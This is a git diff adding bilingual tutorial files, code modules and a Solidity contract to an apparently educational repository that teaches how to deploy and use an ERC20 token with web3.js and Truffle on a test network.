+   处于安全考虑, 私钥没有进行硬编码, 而是通过环境变量的方式进行获取. 启动测试时, dotenv 插件自动读取 .env 配置文件中的配置项, 然后加载为环境变量, 之后在代码中可以通过 process.env 读取私钥 ( 也包括其他环境变量 )
+
+   ```js
+   require('dotenv').config();
+   const privatekey = process.env.PRIVATE_KEY;
+   ```
+
+3. 设置收款账户  
+   这里为方便测试, 固定的一个收款账户, 在后续的交易测试中, 会使用这个收款账户进行测试
+
+   ```js
+   const receiver = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266';
+   ```
+
+4. 构造 web3 对象  
+   通过 web3 对象可以很方便的发送相应的交易到区块链网络, 同时获取区块链的处理结果.
+   构造 web3 对象时, 主要需要传入一个参数, 就是对应的区块链网络, 包括 sepolia 等测试网络, 或是 mainnet 主网.
+   这里我们使用 sepolia 测试网络. 如果没有 sepolia 网络的测试币, 可以切换到其他的测试网络.
+   同时需要注意的是, 这里我们通过 infura 向对应的区块链网络发送交易, 而 INFURA_ID 这个变量值也需要配置在 .env 文件中, 具体如何获取 infura_id, 可自行搜索查找相关文档
+
+   ```js
+   const web3 = new Web3(new Web3.providers.HttpProvider('https://sepolia.infura.io/v3/' + process.env.INFURA_ID));
+   ```
+
+5. 获取账户地址  
+   在区块链上, 每个用户都有一个对应的账户地址, 而这个账户地址可以通过私钥进行获取. 这里, 我们调用 web3.eth.accounts.privateKeyToAccount 接口, 传入对应的私钥, 就可以获取对应的账户地址
+
+   ```js
+   const account = web3.eth.accounts.privateKeyToAccount(privatekey);
+   const account_from = {
+     privateKey: account.privateKey,
+     accountaddress: account.address,
+   };
+   ```
+
+6. 获取 abi 和 bin  
+   在部署合约的过程中, 我们会用到两个重要的参数, 合约对应的 bytecode 和 abi. 在步骤 1 的时候, 我们导入了编译后的 SimpleToken 合约对象, 通过这个对象, 我们可以获取的合约对应的 bytecode 和 abi
+
+   ```js
+   const bytecode = contractFile.evm.bytecode.object;
+   const abi = contractFile.abi;
+   ```
+
+7. 构造合约实例
+   在步骤 3 中, 我们获取了 sol 源文件编译后的二进制 和 abi, 这里就可以使用对应的 abi 构造相应的合约实例, 以便在后续中通过合约实例进行交易的发送
+
+   ```js
+   const deployContract = new web3.eth.Contract(abi);
+   ```
+
+8. 创建合约交易  
+   调用 deployContract.deploy 接口, 我们创建了部署合约的二进制交易. 这里, 此交易还没有发送到区块链网络, 即合约还没有被创建
+
+   ```js
+   const deployTx = deployContract.deploy({
+     data: bytecode,
+     arguments: ['DAPPLEARNING', 'DAPP', 0, 10000000],
+   });
+   ```
+
+9. 交易签名
+   如下使用私钥对交易进行签名,
+
+   ```js
+   const deployTransaction = await web3.eth.accounts.signTransaction(
+     {
+       data: deployTx.encodeABI(),
+       gas: '8000000',
+     },
+     account_from.privateKey
+   );
+   ```
+
+10. 部署合约  
+    这里发送签名后的交易到区块链网络, 同时得到返回的交易回执. 从返回的交易回执中可以得到此次部署的合约的地址
+
+    ```js
+    const deployReceipt = await web3.eth.sendSignedTransaction(deployTransaction.rawTransaction);
+    console.log(`Contract deployed at address: ${deployReceipt.contractAddress}`);
+    ```
+
+11. 构造转账交易  
+    如下构造一个 ERC20 Token 的转账交易, 收款账户为 receiver, 转账金额为 100000
+
+    ```js
+    const transferTx = erc20Contract.methods.transfer(receiver, 100000).encodeABI();
+    ```
+
+12. 签名并发送交易
+    对转账交易进行签名并发送
+
+    ```js
+    const transferReceipt = await web3.eth.sendSignedTransaction(transferTransaction.rawTransaction);
+    ```
+
+13. 验证转账后余额  
+    转账成功后, 输出验证下收款账户的余额, 检查余额是否正确
+
+    ```js
+    erc20Contract.methods
+      .balanceOf(receiver)
+      .call()
+      .then((result) => {
+        console.log(`The balance of receiver is ${result}`);
+      });
+    ```
+
+## 特别说明
+
+- infura 不支持 sendTransaciton,只支持 sendRawTransaction:
+- Infura 不会触发 eth_sendTransaction 方法，因为此方法需要 ethereum 节点中未被锁定的账户。
+- infura 不支持 eth_sendTransaction 的说明:
+- <https://ethereum.stackexchange.com/questions/70853/the-method-eth-sendtransaction-does-not-exist-is-not-available-on-infura>
+
+## 参考文档
+
+- Mocha 实例教程: http://www.ruanyifeng.com/blog/2015/12/a-mocha-tutorial-of-examples.html
+- Mocha 技术笔记: https://pcaaron.github.io/pages/fe/block/improve4.html#%E8%B7%91%E6%B5%8B%E8%AF%95
+- ERC20 接口及合约说明：https://docs.openzeppelin.com/contracts/2.x/api/token/erc20
diff --git a/basic/03-web3js-erc20/README.md b/basic/03-web3js-erc20/README.md
new file mode 100644
index 000000000..cd408bce8
--- /dev/null
+++ b/basic/03-web3js-erc20/README.md
@@ -0,0 +1,219 @@
+[中文](./README-cn.md) / English
+
+# Web3js ERC20
+
+This basic task is to show how to interact with ERC20 contract, so the developer can understand the basic interface of ERC20 contract.
+
+## Getting started
+### SimpleToken contract function description
+
+- IERC20
+  totalSupply: Get the total amount of ERC20 token in the contract
+  balanceOf: Get the amount of ERC20 token of specific account in the contract
+  transfer: Transfer ERC20 token to specific account
+  allowance: Get the amount of ERC20 tokens of the source account that the target account can use
+  approve: Authorize the target account to transfer the specified amount of ERC20 Tokens
+  transferFrom: (Third party call) Transfer a specific amount of ERC20 token from the source account to target account
+
+- IERC20Metadata
+  name: Get the name of the Token
+  symbol: Get the symbol of the Token
+  decimals: Get the decimals of the Token
+
+
+### How to run it
+1. Please use node v20.11.0 to run following commands
+2. Install dependencies: `npm install`
+3. Copy the configuration file: `cp .env.example .env`
+4. Edit the configuration file: `vim .env`, copy your project ID and private key to the `.env` file.
+    ```text
+    PRIVATE_KEY=YOUR_PRIVATE_KEY
+    INFURA_ID=YOUR_PROJECT_ID
+    ``` 
+5. Run the `index.js` file: `node index.js`
+
+## Interpret Source Code
+
+### `compile.js`
+
+You can't use `.sol` files directly, you need to compile it to binary file firstly.
+
+
+1. Load the smart contract file `SimpleToken.sol` into `source` variable.
+
+```js
+// Load contract
+const source = fs.readFileSync('SimpleToken.sol', 'utf8');
+```
+
+2. Compile the smart contract file
+
+```js
+// compile solidity
+const input = {
+    language: 'Solidity',
+    sources: {
+    'SimpleToken.sol': {
+        content: source,
+    },
+    },
+    settings: {
+    outputSelection: {
+        '*': {
+        '*': ['*'],
+        },
+    },
+    },
+};
+
+const tempFile = JSON.parse(solc.compile(JSON.stringify(input)));
+```
+
+| Note: The version of solidity in this task is `0.8.0`, different versions may have different compile ways.
+
+3. Get the Contract Binary Object 
+
+The solidity object that was successfully compiled in the previous step contains many properties/values, and what we only need is the contract object, so we can get the `SimpleToken` contract object by accessing the object properties.
+
+```js
+const contractFile = tempFile.contracts['SimpleToken.sol']['SimpleToken'];
+```
+
+4. Export `contractFile` Object
+If you want to use the `contractFile` object in other `js` files, you can export it.
+
+
+```js
+module.exports = contractFile;
+```
+
+---
+
+### `index.js`
+
+1. Load the `SimpleToken` smart contract from `compile` file
+    
+```js
+const contractFile = require('./compile');
+```
+
+2. Load private key
+
+For security’s sake, the private key is not hard-coded, but it can be read as environment variables. When run this task, the `dotenv` plugin will automatically read the configurations in the `.env` file and load them as environment variables, and then you can use the private key and other environment variables via `process.env`.  
+
+```js
+require('dotenv').config();
+const privatekey = process.env.PRIVATE_KEY;
+```
+
+3. Create a `receiver` account for testing
+
+```js
+const receiver = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266';
+```
+
+4. Build the `web3` object
+
+```js
+const web3 = new Web3(new Web3.providers.HttpProvider('https://sepolia.infura.io/v3/' + process.env.INFURA_ID));
+```
+| Note: The `INFURA_ID` is the `PROJECT ID` of the `Infura` project you created in last [task](../01-web3js-deploy/README.md)
+
+5. Get the `account` address
+
+On blockchain, each user has a `address`, which is unique for others, and you can get the `address` by the private key. In this task, you can use the `we3.eth.accounts.privateKeyToAccount` API to get your `account` address by passing the private key as a parameter.
+
+```js
+const account = web3.eth.accounts.privateKeyToAccount(privatekey);
+const account_from = {
+    privateKey: account.privateKey,
+    accountaddress: account.address,
+};
+```
+
+6. Get the `abi` and `bin`
+When deploying the smart contract, we need two important parameters which are the `bytecode` and `abi` of the smart contract. In previous step 1, we loaded the compiled `SimpleToken` object, so we can get the `bytecode` and `abi` from it.
+
+
+```js
+const bytecode = contractFile.evm.bytecode.object;
+const abi = contractFile.abi;
+```
+
+7. Get contract instance
+In the last step, you got the `bin` and `abi`, so we can create the contract instance by the `abi`.
+   
+```js
+const deployContract = new web3.eth.Contract(abi);
+```
+
+8. Create the transaction of the `deployContract`
+
+```js
+const deployTx = deployContract.deploy({
+    data: bytecode,
+    arguments: ['DAPPLEARNING', 'DAPP', 0, 10000000],
+});
+```
+| So far, this transaction has not been deployed into the blockchain.
+
+
+9. Sign the transaction
+Use your private key to sign the transaction.
+
+```js
+const deployTransaction = await web3.eth.accounts.signTransaction(
+    {
+    data: deployTx.encodeABI(),
+    gas: '8000000',
+    },
+    account_from.privateKey
+);
+```
+
+10. Deploy the contract
+Send your signed `deployTransaction` transaction to the blockchain. You will receive a receipt, and get this contract address from it.
+
+
+```js
+const deployReceipt = await web3.eth.sendSignedTransaction(deployTransaction.rawTransaction);
+console.log(`Contract deployed at address: ${deployReceipt.contractAddress}`);
+```
+
+11. Create a transfer transaction
+
+We created a transfer transaction for `ERC20` token, the receiver is `receiver` account, and the amount is `100000` token.
+
+```js
+const transferTx = erc20Contract.methods.transfer(receiver, 100000).encodeABI();
+```
+
+12. Sign and send the transaction
+
+```js
+const transferReceipt = await web3.eth.sendSignedTransaction(transferTransaction.rawTransaction);
+```
+
+13. Check the balance of the `receiver` account
+
+After the transaction is sent, you can log the balance of the `receiver` and make sure the balance is correct.
+
+```js
+erc20Contract.methods
+    .balanceOf(receiver)
+    .call()
+    .then((result) => {
+    console.log(`The balance of receiver is ${result}`);
+    });
+```
+
+## Notes
+
+- `infura` doesn't support `sendTransaction`, only support `sendRawTransaction`
+- `infura` doesn't invoke `eth_sendTransaction`, so you need to an unlocked account on the `ethereum` node. More details, please refer to [this](https://ethereum.stackexchange.com/questions/70853/the-method-eth-sendtransaction-does-not-exist-is-not-available-on-infura)
+
+## References
+
+- Mocha tutorial: http://www.ruanyifeng.com/blog/2015/12/a-mocha-tutorial-of-examples.html
+- Mocha blog: https://pcaaron.github.io/pages/fe/block/improve4.html#%E8%B7%91%E6%B5%8B%E8%AF%95
+- ERC20 doc: https://docs.openzeppelin.com/contracts/2.x/api/token/erc20
diff --git a/basic/03-web3js-erc20/SimpleToken.sol b/basic/03-web3js-erc20/SimpleToken.sol
new file mode 100644
index 000000000..9e3829a24
--- /dev/null
+++ b/basic/03-web3js-erc20/SimpleToken.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
+
+contract SimpleToken is ERC20PresetMinterPauser {
+    /**
+     * @dev Constructor that gives msg.sender all of existing tokens.
+     */
+
+    uint8 private _decimals;
+    uint256 public INITIAL_SUPPLY;
+
+    function decimals() public view override returns (uint8) {
+        return _decimals;
+    }
+
+    constructor(
+        string memory name,
+        string memory symbol,
+        uint8 decimals_,
+        uint256 initial_supply
+    ) ERC20PresetMinterPauser(name, symbol) {
+        _decimals = decimals_;
+        INITIAL_SUPPLY = initial_supply * (10**uint256(decimals_));
+        _mint(msg.sender, INITIAL_SUPPLY);
+    }
+}
diff --git a/basic/03-web3js-erc20/compile.js b/basic/03-web3js-erc20/compile.js
new file mode 100644
index 000000000..b271f21c7
--- /dev/null
+++ b/basic/03-web3js-erc20/compile.js
@@ -0,0 +1,44 @@
+const fs = require('fs');
+const solc = require('solc');
+
+// Get Path and Load Contract
+const source = fs.readFileSync('SimpleToken.sol', 'utf8');
+function findImports(path) {
+  if (fs.existsSync(path)) {
+    return {
+      contents: fs.readFileSync(path, 'utf8'),
+    };
+  } else if (fs.existsSync('./node_modules/' + path)) {
+    return {
+      contents: fs.readFileSync('./node_modules/' + path, 'utf8'),
+    };
+  } else {
+    return { error: 'File not found' };
+  }
+}
+
+// Compile Contract
+// https://docs.soliditylang.org/en/v0.8.0/using-the-compiler.html#compiler-input-and-output-json-description
+const input = {
+  language: 'Solidity',
+  sources: {
+    'SimpleToken.sol': {
+      content: source,
+    },
+  },
+  settings: {
+    outputSelection: {
+      '*': {
+        '*': ['*'],
+      },
+    },
+  },
+};
+
+const tempFile = JSON.parse(
+  solc.compile(JSON.stringify(input), { import: findImports })
+);
+const contractFile = tempFile.contracts['SimpleToken.sol']['SimpleToken'];
+
+// Export Contract Data
+module.exports = contractFile;
diff --git a/basic/03-web3js-erc20/config.js b/basic/03-web3js-erc20/config.js
new file mode 100644
index 000000000..2728c3834
--- /dev/null
+++ b/basic/03-web3js-erc20/config.js
@@ -0,0 +1,35 @@
+// Network Configurations
+const networks = {
+    development: {
+        provider: `https://sepolia.infura.io/v3/${process.env.INFURA_ID}`,
+        networkId: 11155111, // Sepolia network ID
+        confirmations: 2,
+        timeoutBlocks: 200
+    },
+    moonbase: {
+        provider: 'https://rpc.testnet.moonbeam.network',
+        networkId: 1287,
+        confirmations: 2,
+        timeoutBlocks: 200
+    }
+};
+
+// Token Configuration
+const tokenConfig = {
+    name: 'DAPPLEARNING',
+    symbol: 'DAPP',
+    decimals: 18,
+    initialSupply: 10000000
+};
+
+// Gas Configuration
+const gasConfig = {
+    deploy: 8000000,
+    transfer: 60000
+};
+
+module.exports = {
+    networks,
+    tokenConfig,
+    gasConfig
+};
\ No newline at end of file
diff --git a/basic/03-web3js-erc20/index.js b/basic/03-web3js-erc20/index.js
new file mode 100644
index 000000000..2f8e621a2
--- /dev/null
+++ b/basic/03-web3js-erc20/index.js
@@ -0,0 +1,76 @@
+const Web3 = require('web3');
+const contractFile = require('./compile');
+const config = require('./config');
+const ContractDeployer = require('./modules/deployer');
+const ContractInteractor = require('./modules/interactor');
+const EventListener = require('./modules/eventListener');
+const { ErrorHandler } = require('./modules/errorHandler');
+
+require('dotenv').config();
+
+// Receiver address
+const receiver = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266';
+
+// Create Web3 instance
+const web3 = new Web3(
+  new Web3.providers.HttpProvider(config.networks.development.provider)
+);
+
+// Create account
+const account = web3.eth.accounts.privateKeyToAccount(process.env.PRIVATE_KEY);
+const account_from = {
+  privateKey: account.privateKey,
+  accountaddress: account.address,
+};
+
+// Get contract bytecode and ABI
+const bytecode = contractFile.evm.bytecode.object;
+const abi = contractFile.abi;
+
+const main = async () => {
+  try {
+    // 1. Deploy contract
+    const deployer = new ContractDeployer(web3, account_from);
+    const contract = await deployer.deploy(abi, bytecode);
+
+    // 2. Create contract interaction instance
+    const interactor = new ContractInteractor(web3, contract);
+
+    // 3. Transfer tokens
+    await interactor.transfer(account_from, receiver, 100000);
+
+    // 4. Query receiver balance
+    await interactor.balanceOf(receiver);
+
+    // 5. Create WebSocket connection for event listening
+    const web3Socket = new Web3(
+      `wss://sepolia.infura.io/ws/v3/${process.env.INFURA_ID}`
+    );
+    const socketContract = new web3Socket.eth.Contract(abi, contract.options.address);
+
+    // 6. Setup event listener
+    const eventListener = new EventListener(web3Socket, socketContract);
+    await eventListener.subscribeToTransfers();
+
+    // Wait for a while to receive events
+    console.log('Waiting for events...');
+    await new Promise(resolve => setTimeout(resolve, 10000));
+
+    // 7. Get historical transfer events
+    const deployBlock = await web3.eth.getBlockNumber();
+    await eventListener.getPastTransfers(deployBlock);
+
+    // 8. Cleanup event subscriptions
+    eventListener.unsubscribeAll();
+
+  } catch (error) {
+    await ErrorHandler.handle(error, web3);
+  }
+};
+
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/03-web3js-erc20/modules/deployer.js b/basic/03-web3js-erc20/modules/deployer.js
new file mode 100644
index 000000000..307cff88f
--- /dev/null
+++ b/basic/03-web3js-erc20/modules/deployer.js
@@ -0,0 +1,48 @@
+const Web3 = require('web3');
+const config = require('../config');
+
+class ContractDeployer {
+    constructor(web3, account) {
+        this.web3 = web3;
+        this.account = account;
+    }
+
+    async deploy(abi, bytecode, args) {
+        try {
+            console.log(`Deploying contract from account ${this.account.accountaddress}...`);
+
+            // create contract instance
+            const deployContract = new this.web3.eth.Contract(abi);
+
+            // create deploy transaction
+            const deployTx = deployContract.deploy({
+                data: bytecode,
+                arguments: args || [config.tokenConfig.name, config.tokenConfig.symbol, config.tokenConfig.decimals, config.tokenConfig.initialSupply]
+            });
+
+            // Sign transaction
+            const deployTransaction = await this.web3.eth.accounts.signTransaction(
+                {
+                    data: deployTx.encodeABI(),
+                    gas: config.gasConfig.deploy
+                },
+                this.account.privateKey
+            );
+
+            // Send transaction and wait for receipt
+            const deployReceipt = await this.web3.eth.sendSignedTransaction(
+                deployTransaction.rawTransaction
+            );
+
+            console.log(`Contract deployed to address: ${deployReceipt.contractAddress}`);
+
+            // return contract instance
+            return new this.web3.eth.Contract(abi, deployReceipt.contractAddress);
+        } catch (error) {
+            console.error('Contract deployment failed:', error);
+            throw error;
+        }
+    }
+}
+
+module.exports = ContractDeployer;
\ No newline at end of file
diff --git a/basic/03-web3js-erc20/modules/errorHandler.js b/basic/03-web3js-erc20/modules/errorHandler.js
new file mode 100644
index 000000000..6d3ddb6d6
--- /dev/null
+++ b/basic/03-web3js-erc20/modules/errorHandler.js
@@ -0,0 +1,75 @@
+class Web3Error extends Error {
+    constructor(message, code, data) {
+        super(message);
+        this.name = 'Web3Error';
+        this.code = code;
+        this.data = data;
+    }
+}
+
+class TransactionError extends Error {
+    constructor(message, txHash, receipt) {
+        super(message);
+        this.name = 'TransactionError';
+        this.txHash = txHash;
+        this.receipt = receipt;
+    }
+}
+
+class ContractError extends Error {
+    constructor(message, contractAddress, method) {
+        super(message);
+        this.name = 'ContractError';
+        this.contractAddress = contractAddress;
+        this.method = method;
+    }
+}
+
+class ErrorHandler {
+    static async handle(error, web3) {
+        console.error('Error type:', error.name);
+        console.error('Error message:', error.message);
+
+        if (error instanceof Web3Error) {
+            console.error('Web3 error code:', error.code);
+            console.error('Error data:', error.data);
+        }
+
+        if (error instanceof TransactionError && web3) {
+            try {
+                if (error.txHash) {
+                    const receipt = await web3.eth.getTransactionReceipt(error.txHash);
+                    console.error('Transaction receipt:', receipt);
+                }
+            } catch (e) {
+                console.error('Failed to get transaction receipt:', e.message);
+            }
+        }
+
+        if (error instanceof ContractError) {
+            console.error('Contract address:', error.contractAddress);
+            console.error('Method:', error.method);
+        }
+
+        // await this.reportError(error);
+    }
+
+    static isOutOfGas(error) {
+        return error.message.includes('out of gas');
+    }
+
+    static isRevert(error) {
+        return error.message.includes('revert');
+    }
+
+    static isNetworkError(error) {
+        return error.message.includes('network') || error.message.includes('connection');
+    }
+}
+
+module.exports = {
+    Web3Error,
+    TransactionError,
+    ContractError,
+    ErrorHandler
+};
\ No newline at end of file
diff --git a/basic/03-web3js-erc20/modules/eventListener.js b/basic/03-web3js-erc20/modules/eventListener.js
new file mode 100644
index 000000000..f3dbb989e
--- /dev/null
+++ b/basic/03-web3js-erc20/modules/eventListener.js
@@ -0,0 +1,71 @@
+const Web3 = require('web3');
+
+class EventListener {
+    constructor(web3, contract) {
+        this.web3 = web3;
+        this.contract = contract;
+        this.eventSubscriptions = new Map();
+    }
+
+    async subscribeToTransfers(options = {}) {
+        try {
+            console.log('Starting to listen for Transfer events...');
+
+            const subscription = this.contract.events.Transfer(options)
+                .on('data', (event) => {
+                    console.log('Transfer event detected:');
+                    console.log('  From:', event.returnValues.from);
+                    console.log('  To:', event.returnValues.to);
+                    console.log('  Amount:', event.returnValues.value);
+                })
+                .on('error', (error) => {
+                    console.error('Transfer event listening error:', error);
+                });
+
+            this.eventSubscriptions.set('Transfer', subscription);
+            return subscription;
+        } catch (error) {
+            console.error('Failed to setup Transfer event listener:', error);
+            throw error;
+        }
+    }
+
+    async getPastTransfers(fromBlock, toBlock = 'latest') {
+        try {
+            console.log(`Getting historical Transfer events from block ${fromBlock} to ${toBlock}...`);
+
+            const events = await this.contract.getPastEvents('Transfer', {
+                fromBlock,
+                toBlock
+            });
+
+            events.forEach(event => {
+                console.log('Historical Transfer event:');
+                console.log('  From:', event.returnValues.from);
+                console.log('  To:', event.returnValues.to);
+                console.log('  Amount:', event.returnValues.value);
+                console.log('  Block number:', event.blockNumber);
+            });
+
+            return events;
+        } catch (error) {
+            console.error('GET Historical Transfer event failed:', error);
+            throw error;
+        }
+    }
+
+    unsubscribeAll() {
+        try {
+            console.log('Cancel ALL subscription ...');
+            this.eventSubscriptions.forEach((subscription) => {
+                subscription.unsubscribe();
+            });
+            this.eventSubscriptions.clear();
+        } catch (error) {
+            console.error('Cancel subscription failed:', error);
+            throw error;
+        }
+    }
+}
+
+module.exports = EventListener;
\ No newline at end of file
diff --git a/basic/03-web3js-erc20/modules/interactor.js b/basic/03-web3js-erc20/modules/interactor.js
new file mode 100644
index 000000000..bbd8980a0
--- /dev/null
+++ b/basic/03-web3js-erc20/modules/interactor.js
@@ -0,0 +1,62 @@
+const config = require('../config');
+
+class ContractInteractor {
+    constructor(web3, contract) {
+        this.web3 = web3;
+        this.contract = contract;
+    }
+
+    async transfer(from, to, amount) {
+        try {
+            console.log(`Transferring ${amount} tokens from ${from.accountaddress} to ${to}...`);
+
+            // Build transfer transaction
+            const transferTx = this.contract.methods.transfer(to, amount).encodeABI();
+
+            // Sign transaction
+            const transferTransaction = await this.web3.eth.accounts.signTransaction(
+                {
+                    to: this.contract.options.address,
+                    data: transferTx,
+                    gas: config.gasConfig.transfer
+                },
+                from.privateKey
+            );
+
+            // Send transaction and wait for receipt
+            const receipt = await this.web3.eth.sendSignedTransaction(
+                transferTransaction.rawTransaction
+            );
+
+            console.log(`Transfer successful, transaction hash: ${receipt.transactionHash}`);
+            return receipt;
+        } catch (error) {
+            console.error('Transfer failed:', error);
+            throw error;
+        }
+    }
+
+    async balanceOf(address) {
+        try {
+            const balance = await this.contract.methods.balanceOf(address).call();
+            console.log(`Balance of address ${address}: ${balance}`);
+            return balance;
+        } catch (error) {
+            console.error('Failed to query balance:', error);
+            throw error;
+        }
+    }
+
+    async totalSupply() {
+        try {
+            const supply = await this.contract.methods.totalSupply().call();
+            console.log(`TOTAL supply: ${supply}`);
+            return supply;
+        } catch (error) {
+            console.error('Failed to query total supply:', error);
+            throw error;
+        }
+    }
+}
+
+module.exports = ContractInteractor;
\ No newline at end of file
diff --git a/basic/03-web3js-erc20/package.json b/basic/03-web3js-erc20/package.json
new file mode 100644
index 000000000..288691733
--- /dev/null
+++ b/basic/03-web3js-erc20/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "example03-web3js-erc20",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "node ./node_modules/mocha/bin/mocha"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@openzeppelin/contracts": "^4.4.2",
+    "chai": "^4.2.0",
+    "dotenv": "^10.0.0",
+    "ethereumjs-tx": "^2.1.2",
+    "ethers": "^5.0.17",
+    "mocha": "^4.1.0",
+    "solc": "0.8.0",
+    "web3": "^1.3.5"
+  }
+}
diff --git a/basic/04-web3js-truffle/.env.example b/basic/04-web3js-truffle/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/basic/04-web3js-truffle/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/04-web3js-truffle/README-CN.md b/basic/04-web3js-truffle/README-CN.md
new file mode 100644
index 000000000..d82fdf505
--- /dev/null
+++ b/basic/04-web3js-truffle/README-CN.md
@@ -0,0 +1,243 @@
+中文 / [English](./README.md)
+
+## Truffle 介绍
+
+Truffle 是基于 Solidity 语言的一套开发框架，它简化了去中心化应用（Dapp）的构建和管理流程。本身是采用 Javascript 编写，支持智能合约的编译、部署和测试。
+
+- [Truffle 官网](https://www.trufflesuite.com/docs/truffle/quickstart)
+
+truffle 开发框架提供了很多功能，简化了我们的开发、编译、部署与调试过程：
+
+- 内置了智能合约编译、链接、部署和二进制文件的管理
+- 方便快速开发的合约自动化测试
+- 方便扩展的、脚本化的部署与发布框架
+- 方便的网络管理功能。不论是公有网络还是私有网络
+- 基于 erc190 标准，使用 EthPM ＆ NPM 进行依赖包管理
+- 内置控制台功能。项目构建后，可以直接在命令行调用输出结果，方便了开发调试
+- 可配的构建流程，支持持续集成。
+- 支持外部脚本的执行
+
+
+## 文件说明
+
+### 目录结构
+
+- contracts/: Solidity 合约目录
+
+- migrations/: 部署脚本文件目录
+
+- test/: 测试脚本目录，参考 如何测试应用？
+
+- truffle-config.js: Truffle 配置文件
+
+### 各文件作用
+
+1. contracts/SimpleToken.sol： 这是一个用 Solidity 编写的 erc20 代币 智能合约.
+2. migrations/1_initial_migration.js： 这是一个部署脚本，用来部署 Migrations 合约，对应 Migrations.sol 文件。
+3. truffle-config.js （之前是 truffle.js）： Truffle 配置文件, 用来设置网络信息，和其他项目相关的设置。当我们使用内建的默认的 Truffle 命令时，这个文件留空也是可以的。
+
+## 测试流程
+1. 安装 truffle  
+```js
+npm install -g truffle
+// 本教程使用的 node 版本为 v20.11.0
+```  
+
+如果下载速度过慢，可配置taobao的镜像地址来进行加速。
+```
+npm config set registry http://registry.npm.taobao.org
+```  
+
+2. 安装依赖  
+```bash
+yarn install
+```
+
+3. 配置 .env
+
+   ```sh
+   cp .env.example .env
+
+   ## 修改 .env 中的 INFURA_ID 和 PRIVATE_KEY 为实际的值
+   PRIVATE_KEY=xxxxxxxxxxxxxxxx
+   INFURA_ID=yyyyyyyy
+   ```
+
+4. 测试合约  
+```bash
+truffle test
+```
+
+这里，使用 "truffle test" 后，truffle 会启动内置的 test 网络，同时执行 测试 test 目录下的所有脚本，如果想单独测试某个脚本，可以
+执行 "truffle test ./test/simpletoken.js"
+
+5. 编译合约  
+```bash
+truffle compile
+```
+
+执行成功后，会输出类似如下信息。从输出信息可以看到， truffle 会把 contracts 目录下的所有合约进行编译
+
+```bash
+Compiling .\contracts\SimpleToken.sol...
+
+Writing artifacts to .\build\contracts
+```
+
+5. 部署合约
+
+在 truffle-config.js 里面，可以配置 truffle 使用的以太网络，其中就包括 truffle test 使用的 "test" 网络。
+这里，直接执行 truffle migrate 报没有找到 test 网络，因为 truffle 不会启动内置的 test 网络。所以这里我们使用 sepolia 进行 truffle 合约部署
+
+```bash
+truffle migrate --network sepolia
+#确保你的sepolia 测试币不低于0.6
+
+```
+
+当多次执行 truffle migrate 的时候，可能会出 "Network update to date", 然后不执行合约部署的情况，这个时候需要执行如下的 truffle 命令
+
+```bash
+truffle migrate --network sepolia --reset
+```
+
+## 在 infura 测试合约
+
+在 test 目录下存在 sol 和 js 类型的文件，truffle 支持这两种类型的测试文件。但目前测试发现，如果连接的测试网络为 infura ，则执行
+sol 的测试文件会报失败。所以，这里我们连接到 infura 进行测试时，只能使用 js 的测试文件。
+
+
+```bash
+truffle test ./test/simpletoken.js --network sepolia
+
+#Warning 不影响交易可忽略
+```
+
+## 在本地测试合约
+
+运行 truffle develop，系统会给出 10 个测试账号，包括钱包地址和私钥。
+
+```bash
+$ truffle develop
+Truffle Develop started at http://127.0.0.1:9545/
+
+Accounts:
+(0) 0x9a3f188e2c161ff4482aeb045546644b8d67120b
+(1) 0x5cbbdd0348822e3e1714364d2181685adc0e6d8a
+(2) 0x4b584bc2696c12684ec3368baff27a882b7b2a5e
+(3) 0xa14784c20cbfd1a11bf29275c2f645c504def5ad
+(4) 0x5dce815d7cc51366467537b483e9c67681cb1cb7
+(5) 0x1765e4c4e3f0ddb10f1f99cfaea746ea7917a736
+(6) 0xd885baef12d93f0d8f67c4dbd6150b0841009098
+(7) 0x9de5081329d2795990d701a0baae889322786647
+(8) 0x5e829e607a498a2d9df206f02e9ee8ae9ad4c67c
+(9) 0x29b3614d41ff6a3c8c16871a82d0e407e8a5b225
+
+Private Keys:
+(0) 0a8d9e2a470aedfabe279f16f629c5054a47d69b7d66d17ba65cdd7ca99876e1
+(1) 1920e755c5a37c78e8926559b20df9631f88153a5b1335d2d53bf2dde0da796f
+(2) 394d687218146c92adc5bd46600360bcc42f0a261859b2c79501dea5eb264ffe
+(3) 30f3d558a203da5a9b6d9d194836c2c2b08799e92eb2d9f18ef445878be98c34
+(4) 97bd6ec766613a0235ffb7b4c69bab601702e75b68403842ba21bb5a2bc3786a
+(5) 9372baed783bb62ad3639f10e24fda0580490845735da62666e87353a8625ed0
+(6) 0a8e8fa6e04b3bfb06cb12cc86f3beb168fa4f9e658fd7fb794096af8fa6559e
+(7) 872707416f98cb7d8b3db925e4b4273b77e382753893ee9cf2e19ce89842d12a
+(8) 82daa8ffc47246bbf0cb1bdc574658a98c1571a47bd647b18f7986c63ca47cff
+(9) 040cdda01e0b34c00c39877078af2015bd16125fb4fabf1d7153b679e209409f
+
+```
+
+选择任意一个私钥，将其放置在 simpletoken.js 中 第21行
+
+例如，原代码是
+
+- const target = "0x5df22be367b95788cd51c7dbdf7c7ab70fe856ee";
+
+将地址改成本机测试账户
+
+
+
+接下来配置本地网络参数，将下面 network 属性中 development 注释打开，host 配置成本地，port 配置成 truffle develop 给出的端口地址，如本例中端口是 9545。network_id 保留原状。
+
+```js
+     development: {
+       host: "127.0.0.1",
+       port: 9545,
+       network_id: "*"
+     },
+```
+
+配置好以后即可运行 truffle compile 进行编译，truffle migrate 进行部署，truffle test 进行测试
+
+
+```bash
+> Artifacts written to C:\Users\Highland\AppData\Local\Temp\test--33840-ApHyOzehxOdp
+> Compiled successfully using:
+   - solc: 0.8.0+commit.c7dfd78e.Emscripten.clang
+
+
+
+  TestSimpleToken
